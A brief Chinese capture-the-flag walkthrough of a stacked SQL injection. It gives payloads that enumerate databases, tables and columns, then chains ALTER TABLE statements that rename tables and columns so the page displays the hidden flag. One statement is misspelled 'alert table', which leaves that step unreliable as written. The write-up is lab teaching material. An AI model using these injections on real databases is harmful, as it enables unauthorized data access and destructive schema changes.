1.查看所有数据库
0' show databases;#
2.查看当前库
0' ;select databases;#
禁用了一些命令,无碍
3.查看所有表
0' ;show tables;#
当前库有两个表,接下来分别查看两个表
4.1查看第一个表内容
0'; show columns from `1919810931114514`; #
或者 desc 表名 也可以
显然这个表中有flag(注:表名是数字引用须反引号,键盘左上角)
4.2查看第二个表内容
0'; show columns from words; #
这个表有两列id,data
5.当前结构
浅分析一下,默认页面输出的数据绝对不是来自flag的那个表,相反只能来自words那张表,对应输入id数字,返回data"hahaha"啥的
现在任务,让页面显示flag那张表的内容,可以把flag那张表改造成新的words表来输出
6.构造更改flag表
改表名,填加id列,改变flag列为data
0'; alter table words rename to w;
alter table `1919810931114514` rename to words;
alter table words add id int unsigned primary key;
alert table words change
flag
data
varchar(100);#
注意几个点,
1.一定要一次注入完所有语句,第一次想一句一句注入,第二句注入就报错了,因为接收你注入的id所在表被改名已经找不到了,接下来注入也找不到地方了,,,只好重启了,焯
2.一定要先改掉原本words的表名,如果先把另一个改为words就会同时存在两个words表,这样是改不成的